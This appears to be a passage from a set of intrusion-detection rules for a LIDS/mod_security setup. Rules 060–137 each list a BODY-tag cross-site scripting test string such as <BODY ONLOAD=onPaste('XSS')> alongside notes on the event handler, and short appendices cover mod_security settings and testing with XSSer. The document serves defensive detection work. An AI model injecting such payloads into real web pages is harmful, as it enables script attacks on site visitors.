Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onRepeat('XSS')>	onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)

Rule 060. Detect BODY tag onRedo

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onRedo('XSS')>	onRedo() (user went forward in undo transaction history)

Rule 061. Detect BODY tag onReadyStateChange

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onReadyStateChange(' XSS')>	onReadyStateChange() (user or attacker would need to change an element property)

Rule 062. Detect BODY tag onPropertyChange

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onPropertyChange('XSS')>	onPropertyChange() (user or attacker would need to change an element property)

Rule 063. Detect BODY tag onProgress

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onProgress('XSS')>	onProgress() (attacker would use this as a flash movie was loading)

Rule 064. Detect BODY tag onPopState

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onPopState('XSS')>	onPopState() (fires when user navigated the session history)

Rule 065. Detect BODY tag onPause

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onPause('XSS')>	onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)

Rule 066. Detect BODY tag onPaste

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onPaste('XSS')>	`onPaste()` (user would need to paste or attacker could use the `execCommand("Paste")` function)

Rule 067. Detect BODY tag onOutOfSync

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onOutOfSync('XSS')>	onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)

Rule 068. Detect BODY tag onOnline

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onOnline('XSS')>	onOnline() (occurs if the browser is working in offline mode and it starts to work online)

Rule 069. Detect BODY tag onOffline

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onOffline('XSS')>	onOffline() (occurs if the browser is working in online mode and it starts to work offline)

Rule 070. Detect BODY tag onMoveStart

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMoveStart('XSS')>	onMoveStart() (user or attacker would move the page)

Rule 071. Detect BODY tag onMoveEnd

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMoveEnd(‘XSS’)>	onMoveEnd() (user or attacker would move the page)

Rule 072. Detect BODY tag onMove

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMove('XSS')>	onMove() (user or attacker would move the page)

Rule 073. Detect BODY tag onMouseWheel

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMouseWheel('XSS') >	onMouseWheel() (the attacker would need to get the user to use their mouse wheel)

Rule 074. Detect BODY tag onMouseUp

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMouseUp('XSS')>	onMouseUp() (the attacker would need to get the user to click on an image)

Rule 075. Detect BODY tag onMouseOver

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMouseOver('XSS')>	onMouseOver() (cursor moves over an object or area)

Rule 076. Detect BODY tag onMouseOut

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMouseOut('XSS')>	onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)

Rule 077. Detect BODY tag onMouseMove

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMouseMove('XSS')>	onMouseMove() (the attacker would need to get the user to mouse over an image or table)

Rule 078. Detect BODY tag onMouseLeave

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMouseLeave('XSS')>	onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)

Rule 079. Detect BODY tag onMouseEnter

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMouseEnter('XSS')>	onMouseEnter() (cursor moves over an object or area)

Rule 080. Detect BODY tag onMouseDown

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMouseDown('XSS')>	onMouseDown() (the attacker would need to get the user to click on an image)

Rule 081. Detect BODY tag onMessage

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMessage('XSS')>	onMessage() (fire when the document received a message)

Rule 082. Detect BODY tag onMediaError

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMediaError('XSS')>	onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)

Rule 083. Detect BODY tag onMediaComplete

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onMediaComplete('XSS')>	onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)

Rule 084. Detect BODY tag onLoseCapture

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onLoseCapture('XSS')>	onLoseCapture() (can be exploited by the releaseCapture() method)

Rule 085. Detect BODY tag onLoad

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onLoad('XSS')>	onLoad() (attacker executes the attack string after the window loads)

Rule 086. Detect BODY tag onLayoutComplete

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onLayoutComplete('XSS')>	onLayoutComplete() (user would have to print or print preview)

Rule 087. Detect BODY tag onKeyUp

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onKeyUp('XSS')>	onKeyUp() (user releases a key)

Rule 088. Detect BODY tag onKeyPress

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onKeyPress('XSS')>	onKeyPress() (user presses or holds down a key)

Rule 089. Detect BODY tag onKeyDown

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onKeyDown('XSS')>	onKeyDown() (user depresses a key)

Rule 090. Detect BODY tag onInput

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onInput('XSS')>	onInput() (the text content of an element is changed through the user interface)

Rule 091. Detect BODY tag onHelp

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onHelp('XSS')>	onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)

Rule 092. Detect BODY tag onHashChange

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onHashChange('XSS') >	onHashChange() (fires when the fragment identifier part of the document's current address changed)

Rule 093. Detect BODY tag onFocusOut

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onFocusOut('XSS')>	onFocusOut() (attacker executes the attack string when window looses focus)

Rule 094. Detect BODY tag onFocusIn

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onFocusIn('XSS')>	onFocusIn() (attacker executes the attack string when window gets focus)

Rule 095. Detect BODY tag onFocus

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onFocus('XSS')>	onFocus() (attacker executes the attack string when the window gets focus)

Rule 096. Detect BODY tag onFinish

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onFinish('XSS')>	onFinish() (attacker can create the exploit when marquee is finished looping)

Rule 097. Detect BODY tag onFilterChange

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onFilterChange('XSS')>	onFilterChange() (fires when a visual filter completes state change)

Rule 098. Detect BODY tag onErrorUpdate

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onErrorUpdate('XSS')>	onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)

Rule 099. Detect BODY tag onError

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onError('XSS')>	onError() (loading of a document or image causes an error)

Rule 100. Detect BODY tag onEnd

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onEnd('XSS')>	onEnd() (the onEnd event fires when the timeline ends.

Rule 101. Detect BODY tag onDrop

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDrop('XSS')>	onDrop() (user drops an object (e.g. file) onto the browser window)

Rule 102. Detect BODY tag onDragStart

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDragStart('XSS')>	onDragStart() (occurs when user starts drag operation)

Rule 103. Detect BODY tag onDragDrop

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDragDrop('XSS')>	onDragDrop() (user drops an object (e.g. file) onto the browser window)

Rule 104. Detect BODY tag onDragOver

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDragOver('XSS')>	onDragOver() (requires that the user drags an object into a valid location)

Rule 105. Detect BODY tag onDragEnter

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDragEnter('XSS')>	onDragEnter() (requires that the user drags an object into a valid location)

Rule 106. Detect BODY tag onDragLeave

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDragLeave('XSS')>	onDragLeave() (requires that the user drags an object off a valid location)

Rule 107. Detect BODY tag onDragEnd

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDragEnd('XSS')>	onDragEnd() (requires that the user drags an object)

Rule 108. Detect BODY tag onDrag

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDrag('XSS')>	onDrag() (requires that the user drags an object)

Rule 109. Detect BODY tag onDeactivate

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDeactivate('XSS')>	onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)

Rule 110. Detect BODY tag onDblClick

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDblClick('XSS')>	onDblClick() (user double-clicks a form element or a link)

Rule 111. Detect BODY tag onDataSetComplete

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDataSetComplete('XSS')>	onDataSetComplete() (fires to indicate that all data is available from the data source object)

Rule 112. Detect BODY tag onDataSetChanged

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDataSetChanged('XSS')>	onDataSetChanged() (fires when the data set exposed by a data source object changes)

Rule 113. Detect BODY tag onDataAvailable

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onDataAvailable('XSS') >	onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)

Rule 114. Detect BODY tag onCut

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onCut('XSS')>	onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)

Rule 115. Detect BODY tag onCopy

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onCopy('XSS')>	onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)

Rule 116. Detect BODY tag onControlSelect

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onControlSelect('XSS') >	onControlSelect() (fires when the user is about to make a control selection of the object)

Rule 117. Detect BODY tag onContextMenu

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onContextMenu('XSS') >	onContextMenu() (user would need to right click on attack area)

Rule 118. Detect BODY tag onClick

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onClick('XSS')>	onClick() (someone clicks on a form)

Rule 119. Detect BODY tag onChange

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onChange('XSS')>	onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)

Rule 120. Detect BODY tag onCellChange

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onCellChange('XSS')>	onCellChange() (fires when data changes in the data provider)

Rule 121. Detect BODY tag onBounce

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBounce('XSS')>	onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)

Rule 122. Detect BODY tag onBlur

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBlur('XSS')>	onBlur() (in the case where another popup is loaded and window looses focus)

Rule 123. Detect BODY tag onBegin

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBegin('XSS')>	onBegin() (the onbegin event fires immediately when the element's timeline begins)

Rule 124. Detect BODY tag onBeforeUpdate

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforeUpdate('XSS') >	onBeforeUpdate() (activates on data object before updating data in the source object)

Rule 125. Detect BODY tag onBeforeUnload

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforeUnload('XSS') >	onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)

Rule 126. Detect BODY tag onBeforePrint

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforePrint('XSS')>	onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).

Rule 127. Detect BODY tag onBeforePaste

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforePaste('XSS')>	onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)

Rule 128. Detect BODY tag onBeforeEditFocus

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforeEditFocus('XSS')>	onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)

Rule 129. Detect BODY tag onBeforeDeactivate

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforeDeactivate('XSS')>	onBeforeDeactivate() (fires right after the activeElement is changed from the current object)

Rule 130. Detect BODY tag onBeforeCut

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforeCut('XSS')>	onBeforeCut() (attacker executes the attack string right before a selection is cut)

Rule 131. Detect BODY tag onBeforeCopy

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforeCopy('XSS')>	onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function)

Rule 132. Detect BODY tag onBeforeActivate

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onBeforeActivate('XSS')>	onBeforeActivate() (fires before the object is set as the active element)

Rule 133. Detect BODY tag onAfterUpdate

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onAfterUpdate('XSS')>	onAfterUpdate() (activates on data object after updating data in the source object)

Rule 134. Detect BODY tag onAfterPrint

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onAfterPrint('XSS')>	onAfterPrint() (activates after user prints or previews print job)

Rule 135. Detect BODY tag onActivate

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onActivate('XSS')>	onActivate() (when object is set as the active element)

Rule 136. Detect BODY tag onAbort

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=onAbort('XSS')>	onAbort() (when user aborts the loading of an image)

Rule 137. Detect BODY tag FSCommand

Short description	Example of vulnerable code	Long description
Body tag method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).	<BODY ONLOAD=FSCommand('XSS')>	FSCommand() (attacker can use this when executed from within an embedded Flash object)

Appendix A

Mod_security

You need to check your mod_security config for checks next parameters:

File name: mod_security.conf

Parameter:
SecRuleEngine **On**

You need to verify next:
A link to file is same in LIDS XSS Policy and mod_security.conf

Parameter:
SecAuditLog **/var/log/httpd/modsec_audit.log** (this link shows only for example)

Appendix C

Restriction with regular expression.

The LIDS policy has restriction with regular expression. Current build of HALO agent can’t do any manipulation with string that I wanna find.

It tested on:
CMS - WordPress (Version 4.9.1)
XSS attack software - XSSer (v1.7.1)
ModSecurity for Apache/2.7.3